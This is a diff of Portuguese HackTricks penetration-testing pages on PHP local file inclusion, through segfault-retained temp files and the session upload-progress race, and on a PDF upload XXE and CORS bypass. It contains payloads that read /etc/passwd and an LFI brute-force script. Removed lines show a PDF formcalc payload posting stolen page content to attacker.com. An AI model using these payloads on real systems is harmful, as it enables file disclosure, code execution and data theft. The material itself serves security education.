De acordo com os artigos [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), os seguintes payloads causaram uma falha de segmentação no PHP:
|
|
||||||
```php
|
```php
|
||||||
// PHP 7.0
|
// PHP 7.0
|
||||||
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||||
|
@ -20,9 +21,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||||
// PHP 7.2
|
// PHP 7.2
|
||||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||||
```
|
```
|
||||||
Você deve saber que se você **enviar** uma solicitação **POST** **contendo** um **arquivo**, o PHP criará um **arquivo temporário em `/tmp/php<algo>`** com o conteúdo desse arquivo. Esse arquivo será **automaticamente excluído** assim que a solicitação for processada.
|
Você deve saber que se você **enviar** uma requisição **POST** **contendo** um **arquivo**, o PHP criará um **arquivo temporário em `/tmp/php<algo>`** com o conteúdo desse arquivo. Este arquivo será **automaticamente deletado** assim que a requisição for processada.
|
||||||
|
|
||||||
Se você encontrar uma **LFI** e conseguir **disparar** uma falha de segmentação no PHP, o **arquivo temporário nunca será excluído**. Portanto, você pode **procurá-lo** com a vulnerabilidade **LFI** até encontrá-lo e executar código arbitrário.
|
Se você encontrar um **LFI** e conseguir **acionar** uma falha de segmentação no PHP, o **arquivo temporário nunca será deletado**. Portanto, você pode **procurar** por ele com a vulnerabilidade **LFI** até encontrá-lo e executar código arbitrário.
|
||||||
|
|
||||||
Você pode usar a imagem docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para testes.
|
Você pode usar a imagem docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para testes.
|
||||||
```python
|
```python
|
||||||
|
@ -46,35 +47,37 @@ base_url = "http://%s:%d" % (host, port)
|
||||||
|
|
||||||
|
|
||||||
def bruteforce(charset):
|
def bruteforce(charset):
|
||||||
for i in charset:
|
for i in charset:
|
||||||
for j in charset:
|
for j in charset:
|
||||||
for k in charset:
|
for k in charset:
|
||||||
for l in charset:
|
for l in charset:
|
||||||
for m in charset:
|
for m in charset:
|
||||||
for n in charset:
|
for n in charset:
|
||||||
filename = prefix + i + j + k
|
filename = prefix + i + j + k
|
||||||
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
||||||
print url
|
print url
|
||||||
response = requests.get(url)
|
response = requests.get(url)
|
||||||
if 'spyd3r' in response.content:
|
if 'spyd3r' in response.content:
|
||||||
print "[+] Include success!"
|
print "[+] Include success!"
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
bruteforce(charset)
|
bruteforce(charset)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,19 +2,20 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Informações Básicas
|
### Informações Básicas
|
||||||
|
|
||||||
Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se **`session.upload_progress.enabled`** estiver **`On`** e você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**.
|
Se você encontrou uma **Inclusão Local de Arquivo** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se **`session.upload_progress.enabled`** estiver **`On`** e você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP **ativará a sessão para você**.
|
||||||
```bash
|
```bash
|
||||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||||
$ ls -a /var/lib/php/sessions/
|
$ ls -a /var/lib/php/sessions/
|
||||||
|
@ -28,31 +29,33 @@ $ ls -a /var/lib/php/sessions/
|
||||||
|
|
||||||
In the last example the session will contain the string blahblahblah
|
In the last example the session will contain the string blahblahblah
|
||||||
```
|
```
|
||||||
Observe que com **`PHP_SESSION_UPLOAD_PROGRESS`** você pode **controlar dados dentro da sessão**, então se você incluir seu arquivo de sessão, pode incluir uma parte que você controla (um shellcode php, por exemplo).
|
Note que com **`PHP_SESSION_UPLOAD_PROGRESS`** você pode **controlar dados dentro da sessão**, então se você incluir o arquivo da sua sessão, você pode incluir uma parte que você controla (um shellcode PHP, por exemplo).
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Embora a maioria dos tutoriais na Internet recomende que você defina `session.upload_progress.cleanup` como `Off` para fins de depuração, a configuração padrão de `session.upload_progress.cleanup` no PHP ainda é `On`. Isso significa que seu progresso de upload na sessão será limpo o mais rápido possível. Então, isso será uma **Condição de Corrida**.
|
Embora a maioria dos tutoriais na Internet recomende que você defina `session.upload_progress.cleanup` como `Off` para fins de depuração, o padrão `session.upload_progress.cleanup` no PHP ainda é `On`. Isso significa que o progresso do upload na sessão será limpo o mais rápido possível. Então, isso será uma **Condição de Corrida**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### O CTF
|
### O CTF
|
||||||
|
|
||||||
No [**CTF original**](https://blog.orange.tw/2018/10/) onde essa técnica é comentada, não foi suficiente explorar a Condição de Corrida, mas o conteúdo carregado também precisava começar com a string `@<?php`.
|
No [**CTF original**](https://blog.orange.tw/2018/10/) onde essa técnica é comentada, não era suficiente explorar a Condição de Corrida, mas o conteúdo carregado também precisava começar com a string `@<?php`.
|
||||||
|
|
||||||
Devido à configuração padrão de `session.upload_progress.prefix`, nosso **arquivo de SESSÃO começará com um prefixo irritante** `upload_progress_` como: `upload_progress_controlledcontentbyattacker`
|
Devido à configuração padrão de `session.upload_progress.prefix`, nosso **arquivo SESSION começará com um prefixo irritante** `upload_progress_` Como: `upload_progress_conteudocontroladopeloatacante`
|
||||||
|
|
||||||
O truque para **remover o prefixo inicial** foi **codificar em base64 o payload 3 vezes** e depois decodificá-lo via filtros `convert.base64-decode`, isso porque quando **decodificamos em base64, o PHP remove os caracteres estranhos**, então após 3 vezes, **apenas** o **payload** **enviado** pelo atacante **permanecerá** (e então o atacante pode controlar a parte inicial).
|
O truque para **remover o prefixo inicial** foi **codificar em base64 o payload 3 vezes** e depois decodificá-lo através dos filtros `convert.base64-decode`, isso porque ao **decodificar base64 o PHP removerá os caracteres estranhos**, então após 3 vezes **apenas** o **payload** **enviado** pelo atacante **permanecerá** (e então o atacante pode controlar a parte inicial).
|
||||||
|
|
||||||
Mais informações no writeup original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) e no exploit final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
Mais informações no writeup original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) e exploit final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||||
Outro writeup em [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
Outro writeup em [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras maneiras de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,137 +1,27 @@
|
||||||
# Upload de PDF - Bypass de XXE e CORS
|
# Upload de PDF - XXE e bypass de CORS
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
#### Conteúdo copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
|
**Confira [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
|
||||||
|
|
||||||
### A função Javascript no Reader pode ser usada para ler dados de entidades externas (CVE-2014-8452)
|
<details>
|
||||||
|
|
||||||
Status: Corrigido\
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
Realidade: Não corrigido\
|
|
||||||
\
|
|
||||||
Este é sobre um simples XXE que descobri.\
|
|
||||||
Li o artigo "Polyglots: Crossing Origins by Crossing Formats", onde discutiram uma vulnerabilidade em\
|
|
||||||
XMLData.parse. Era possível usar entidades externas e referenciá-las.\
|
|
||||||
Li a especificação e descobri que existem mais funções do que "parse" para ler XML.\
|
|
||||||
Criei um arquivo xml simples, que referencia uma url do mesmo domínio e o analisei com loadXML.\
|
|
||||||
Funcionou:
|
|
||||||
|
|
||||||
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
```
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
7 0 obj
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
<<
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
/Type /Action
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
/S /JavaScript
|
|
||||||
/JS (
|
|
||||||
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
|
|
||||||
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
|
|
||||||
xml = XMLData.parse(cXMLDoc,false);
|
|
||||||
xml.loadXML(cXMLDoc2,false,true);
|
|
||||||
)
|
|
||||||
>>
|
|
||||||
endobj
|
|
||||||
```
|
|
||||||
O impacto é limitado porque\
|
|
||||||
o) é limitado à mesma origem\
|
|
||||||
o) as páginas HTML quebram o xml\
|
|
||||||
o) Entidades dinâmicas não são suportadas\
|
|
||||||
o) Eu tive a ideia de usar um xml utf-16 para evitar quebrar a estrutura xml, mas não funcionou.\
|
|
||||||
\
|
|
||||||
Mas ainda pode ser usado para ler JSON.
|
|
||||||
|
|
||||||
### Bypass da política de mesma origem no Reader (CVE-2014-8453)
|
</details>
|
||||||
|
|
||||||
Status: corrigido\
|
|
||||||
Realidade: corrigido, mas a mesma origem ainda é vulnerável!\
|
|
||||||
\
|
|
||||||
Na minha opinião, esta é a vulnerabilidade mais poderosa. Mesmo sem o Bypass de Origem, ela mostra\
|
|
||||||
o quão poderoso/assustador o PDF pode ser.\
|
|
||||||
Muitas pessoas sabem que o PDF suporta uma linguagem de script chamada Javascript, mas há outra.\
|
|
||||||
É mencionado na especificação para XFA, um tipo de arquivo também suportado pelo leitor da Adobe.\
|
|
||||||
Chama-se formcalc e não é tão poderoso. É usado para cálculos matemáticos simples. Mas na especificação da Adobe\
|
|
||||||
há três funções adicionais: 'GET', 'POST' e 'PUT'. Sim, seus nomes falam por si mesmos.\
|
|
||||||
'GET' tem um parâmetro: uma url. Ele usará o navegador (SIM, COOKIES) para recuperar a url e retornar o conteúdo dela.\
|
|
||||||
Podemos então usar 'POST' para enviar o conteúdo retornado para nosso próprio servidor:\
|
|
||||||
\
|
|
||||||
var content = GET("meusamigos.php");\
|
|
||||||
Post("http://atacante.com",content);\
|
|
||||||
\
|
|
||||||
Essas funções são da mesma origem, então um site precisa nos permitir fazer upload de um PDF. Isso não é tão irrealista para\
|
|
||||||
a maioria dos sites. Atacante.com não é da mesma origem, então você precisa configurar um crossdomain.xml, como de costume com produtos da Adobe.\
|
|
||||||
\
|
|
||||||
Para resumir: Isso não é um bug, é um recurso. Assim que você é permitido fazer upload de um PDF em um site,\
|
|
||||||
você pode acessar o site no contexto do usuário que está visualizando o PDF. Como as solicitações são emitidas\
|
|
||||||
pelo navegador, os cookies também são enviados. Você também pode usá-lo para quebrar qualquer proteção CSRF lendo os tokens.
|
|
||||||
```
|
|
||||||
% a PDF file using an XFA
|
|
||||||
% most whitespace can be removed (truncated to 570 bytes or so...)
|
|
||||||
% Ange Albertini BSD Licence 2012
|
|
||||||
|
|
||||||
% modified by insertscript
|
|
||||||
|
|
||||||
%PDF-1. % can be truncated to %PDF-\0
|
|
||||||
|
|
||||||
1 0 obj <<>>
|
|
||||||
stream
|
|
||||||
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
|
|
||||||
<config><present><pdf>
|
|
||||||
<interactive>1</interactive>
|
|
||||||
</pdf></present></config>
|
|
||||||
<template>
|
|
||||||
<subform name="_">
|
|
||||||
<pageSet/>
|
|
||||||
<field id="Hello World!">
|
|
||||||
<event activity="initialize">
|
|
||||||
<script contentType='application/x-formcalc'>
|
|
||||||
var content = GET("myfriends.php");
|
|
||||||
Post("http://attacker.com",content);
|
|
||||||
</script>
|
|
||||||
</event>
|
|
||||||
</field>
|
|
||||||
</subform>
|
|
||||||
</template>
|
|
||||||
</xdp:xdp>
|
|
||||||
endstream
|
|
||||||
endobj
|
|
||||||
|
|
||||||
trailer <<
|
|
||||||
/Root <<
|
|
||||||
/AcroForm <<
|
|
||||||
/Fields [<<
|
|
||||||
/T (0)
|
|
||||||
/Kids [<<
|
|
||||||
/Subtype /Widget
|
|
||||||
/Rect []
|
|
||||||
/T ()
|
|
||||||
/FT /Btn
|
|
||||||
>>]
|
|
||||||
>>]
|
|
||||||
/XFA 1 0 R
|
|
||||||
>>
|
|
||||||
/Pages <<>>
|
|
||||||
>>
|
|
||||||
>>
|
|
||||||
```
|
|
||||||
Depois de encontrar essas funções, encontrei uma forma de burlar a política de mesma origem. Isso torna possível usar o navegador da vítima como um proxy (@beef ainda está trabalhando no módulo^^).
|
|
||||||
|
|
||||||
A forma de burlar é realmente simples:
|
|
||||||
|
|
||||||
1. O usuário A carrega o evil.pdf de http://attacker.com/evil.pdf
|
|
||||||
2. O evil.pdf usa o formcalc GET para ler http://attacker.com/redirect.php
|
|
||||||
3. redirect.php redireciona com 301 para http://facebook.com
|
|
||||||
4. O Adobe reader seguirá e lerá a resposta sem procurar um crossdomain.xml.
|
|
||||||
5. O evil.pdf envia o conteúdo recuperado via POST para http://attacker.com/log.php
|
|
||||||
|
|
||||||
Observe que, usando essa técnica, você pode roubar os tokens CRSF de uma página e abusar das vulnerabilidades CSRF.
|
|
||||||
|
|
||||||
Essa simples forma de burlar foi corrigida agora. Espero que eles implementem um aviso de diálogo para solicitações de mesma origem também.
|
|
||||||
|
|
|
@ -2,255 +2,243 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
